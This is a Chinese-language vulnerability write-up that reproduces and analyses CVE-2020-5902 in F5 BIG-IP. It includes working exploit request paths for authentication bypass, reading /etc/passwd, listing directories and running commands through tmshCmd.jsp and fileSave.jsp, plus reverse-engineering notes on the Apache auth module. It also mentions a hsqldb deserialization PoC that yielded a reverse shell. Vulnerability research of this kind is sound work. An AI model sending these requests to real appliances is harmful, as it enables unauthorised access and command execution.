前言
CVE-2020-5902:F5 BIG-IP网上对于tmui和hsqldb的利用已经写的很详细,在此记录了对该漏洞复现过程中的问题。
漏洞复现
这篇文章中https://xz.aliyun.com/t/8008 写了完整的搭建环境过程,不再赘述。
tumi模块公开的几个利用点有文件读取、列目录、写文件、执行命令
1 | /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd |
重点看rce的利用过程:
- tmshCmd.jsp?command=create+cli+alias+private+list+command+bash //将list命令设置成bash
- fileSave.jsp?fileName=/tmp/cmd&content=id //利用写文件把要执行的命令写入/tmp目录
- tmshCmd.jsp?command=list+/tmp/cmd //再调用list执行写入的脚本
- tmshCmd.jsp?command=delete+cli+alias+private+list //执行完恢复list命令
命令执行复现最开始没成功,第1步和第3步的命令需要多试几遍才成功。
hsqldb利用方式,通过远程访问并利用org.hsqldb.util.scriptool.main自身的反序列化Gadget来实现RCE
使用poc 复现失败 ,应该是由于靶机自签名的证书导致连接失败
利用源码 在本地搭建测试环境,使用上述PoC稍作改动后复现成功
漏洞分析
从靶机中可以看到该web服务是apache2 + tomcat ajp方式运行。
几处关键的配置文件
1 | #proxy_ajp.conf |
1 | # http.conf |
在http.conf中配置对/hsqldb
和/tmui
进行pam认证,然后通过mod_ajp将相关请求转发给tomcat。
那apache中如何处理认证授权呢?
对mod_f5_auth_cookie.so
进行逆向分析,根据对关键字login.jsp
的定位以及对函数调用关系分析,最终定位到函数ap_hook_check_access_ex
调用处理权限的函数sub_1C40,重点关注login.jsp的处理逻辑
对其中几个函数进行了分析标注,check_need_auth函数如下:
check_need_emtoken_url中检测需要token的url:/iControl/
、/mgmt/
、/api
、/em_images/
、/em_ucs/
、/em_log_audit
、/em_monitoring_db/
、/em_export/
、/em/
check_notneed_auth_url中检测不需要权限的url: /tmui/login.jsp
、/xui/common/
、/tmui/tmui/login/
、/xui/modals/
注:这里的字符串比较有点奇怪,第一个字符好像不影响匹配结果。
所以通过/tmui/login.jsp/xxxx
可以绕过apache层的权限验证,同理还有/xui/common/xxx
。但由于要转发到tomcat层,能够利用的仅有/tmui/login.jsp
和/tmui/tmui/login/
。
所以这里有个新的poc,原理同/tmui/login.jsp
/tmui/tmui/login/..;/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/
tomcat中如何解析url并处理对应jsp?
处理url的过程在tomcat容器内部 https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf,然后根据web.xml寻找对应的servlet执行。
根据https://xz.aliyun.com/t/8008 ,请求是先进入com.f5.controller.ControlServlet,再其中进行权限校验后才根据mapping调用对应的servlet,此处存在一些疑问。
整个处理流程
tmui模块的流程:
- 访问
/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
- apache匹配到
/tmui/
,调用so进行身份认证 - so中检测到访问的路径是
/tmui/login.jsp
,放行 - apache proxy模块匹配到^/tmui/(..jsp.),将其转发到tomcat ajp
- tomcat解析url后变成
/tmui/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
hsqldb模块的流程:
- 访问
/hsqldb;
- apache不会匹配到
/hsqldb
,也就不会调用so进行身份认证 - apache2 proxy模块匹配到
^/hsqldb(.*)$
,将其转发到tomcat ajp
后端jsp脚本
主要是通过tmui/locallb/workspace
模块下的几个jsp脚本进行利用,相关分析文章很多,原理也很简单,这里不再赘述。部分文章中提到此利用方式需要近期有用户登录,相关限制代码未看到详细说明,存疑。
编写python PoC
网上公开的PoC多是tmui模块,没有找到hsqldb模块python版本的PoC,所以写了个pocsuite插件。相关请求中的数据包结构Longofo在文章中已经写得很清楚,直接构造数据包使用requests发包即可。但此处有点坑,本地搭建的hsqldb环境会报400 bad request,经测试是由请求头中的user-agent、accept等请求头导致的。在靶机环境中请求正常
利用PoC成功反弹shell
文章中的相关文件及PoC可在此下载
参考链接
https://xz.aliyun.com/t/8008
https://github.com/Critical-Start/Team-Ares/tree/master/CVE-2020-5902
https://xz.aliyun.com/t/7544
https://www.anquanke.com/post/id/210706
https://www.freebuf.com/vuls/243539.html